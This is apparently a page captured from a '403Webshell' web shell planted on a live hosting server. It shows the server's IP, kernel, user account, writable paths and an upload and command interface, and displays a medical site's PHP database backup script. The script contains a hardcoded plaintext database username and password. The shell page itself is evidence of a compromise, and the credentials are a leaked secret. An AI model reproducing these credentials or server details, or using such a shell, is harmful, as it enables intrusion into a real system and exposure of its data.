403Webshell
Server IP : 31.14.161.123  /  Your IP : 216.73.216.229
Web Server : Apache
System : Linux cpanel.classit.ro 4.18.0-553.144.1.el8_10.x86_64 #1 SMP Tue Jul 14 09:26:58 EDT 2026 x86_64
User : diamedic ( 1014)
PHP Version : 8.2.32
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/diamedic/public_html/analize/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/diamedic/public_html/analize/backup.php
<?php
/**
 * DiaMedicalPort — Legacy DB Backup
 * Exports diamedic_al to a timestamped SQL file in ./backups/
 *
 * Run from browser or CLI:
 *   php backup.php
 */

declare(strict_types=1);

// ── Connection (matches mysql_connect.php) ────────────────────────
$dbname = 'diamedic_al';
$dbhost = 'localhost';
$dbuser = 'diamedic_user';
$dbpass = 'band2@@1234';

// ── Output directory ──────────────────────────────────────────────
$backupDir = __DIR__ . '/backups';
if (!is_dir($backupDir) && !mkdir($backupDir, 0750, true)) {
    die("ERROR: Cannot create backup directory: $backupDir\n");
}

$filename  = $backupDir . '/' . $dbname . '_' . date('Ymd_His') . '.sql';

// ── Connect ───────────────────────────────────────────────────────
$mysqli = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
    die("ERROR: Connection failed: " . $mysqli->connect_error . "\n");
}
$mysqli->set_charset('utf8mb4');

// ── Open output file ──────────────────────────────────────────────
$fh = fopen($filename, 'w');
if (!$fh) {
    die("ERROR: Cannot write to $filename\n");
}

// ── Header ────────────────────────────────────────────────────────
fwrite($fh, "-- DiaMedicalPort legacy database backup\n");
fwrite($fh, "-- Database : $dbname\n");
fwrite($fh, "-- Host     : $dbhost\n");
fwrite($fh, "-- Generated: " . date('Y-m-d H:i:s') . "\n");
fwrite($fh, "-- PHP      : " . PHP_VERSION . "\n");
fwrite($fh, "\n");
fwrite($fh, "SET FOREIGN_KEY_CHECKS=0;\n");
fwrite($fh, "SET SQL_MODE='NO_AUTO_VALUE_ON_ZERO';\n");
fwrite($fh, "SET NAMES utf8mb4;\n\n");

// ── Get all tables ────────────────────────────────────────────────
$tables = [];
$result = $mysqli->query("SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'");
while ($row = $result->fetch_row()) {
    $tables[] = $row[0];
}
$result->free();

$totalRows = 0;

foreach ($tables as $table) {
    echo "  Backing up table: $table\n";

    // DROP + CREATE TABLE
    fwrite($fh, "-- --------------------------------------------------------\n");
    fwrite($fh, "-- Table: `$table`\n");
    fwrite($fh, "-- --------------------------------------------------------\n\n");
    fwrite($fh, "DROP TABLE IF EXISTS `$table`;\n");

    $res = $mysqli->query("SHOW CREATE TABLE `$table`");
    $row = $res->fetch_row();
    fwrite($fh, $row[1] . ";\n\n");
    $res->free();

    // Row count
    $countRes = $mysqli->query("SELECT COUNT(*) FROM `$table`");
    $count    = (int) $countRes->fetch_row()[0];
    $countRes->free();

    if ($count === 0) {
        fwrite($fh, "-- (no rows)\n\n");
        continue;
    }

    // INSERT rows in batches of 200
    $offset    = 0;
    $batchSize = 200;

    while ($offset < $count) {
        $dataRes = $mysqli->query(
            "SELECT * FROM `$table` LIMIT $batchSize OFFSET $offset"
        );

        $rows = [];
        while ($dataRow = $dataRes->fetch_row()) {
            $values = array_map(function ($v) use ($mysqli) {
                if ($v === null) return 'NULL';
                return "'" . $mysqli->real_escape_string((string) $v) . "'";
            }, $dataRow);
            $rows[] = '(' . implode(', ', $values) . ')';
        }
        $dataRes->free();

        if (!empty($rows)) {
            fwrite($fh,
                "INSERT INTO `$table` VALUES\n" .
                implode(",\n", $rows) .
                ";\n"
            );
        }

        $offset    += $batchSize;
        $totalRows += count($rows);
    }

    fwrite($fh, "\n");
}

// ── Views ─────────────────────────────────────────────────────────
$viewResult = $mysqli->query("SHOW FULL TABLES WHERE Table_type = 'VIEW'");
$views = [];
while ($row = $viewResult->fetch_row()) {
    $views[] = $row[0];
}
$viewResult->free();

foreach ($views as $view) {
    echo "  Backing up view: $view\n";
    fwrite($fh, "-- View: `$view`\n");
    $res = $mysqli->query("SHOW CREATE VIEW `$view`");
    $row = $res->fetch_row();
    fwrite($fh, "DROP VIEW IF EXISTS `$view`;\n");
    fwrite($fh, $row[1] . ";\n\n");
    $res->free();
}

// ── Footer ────────────────────────────────────────────────────────
fwrite($fh, "SET FOREIGN_KEY_CHECKS=1;\n");
fwrite($fh, "-- Backup complete: $totalRows rows exported\n");

fclose($fh);
$mysqli->close();

$size = round(filesize($filename) / 1024, 1);
echo "\nDone. File: $filename ({$size} KB, $totalRows rows)\n";

Youez - 2016 - github.com/yon3zu
LinuXploit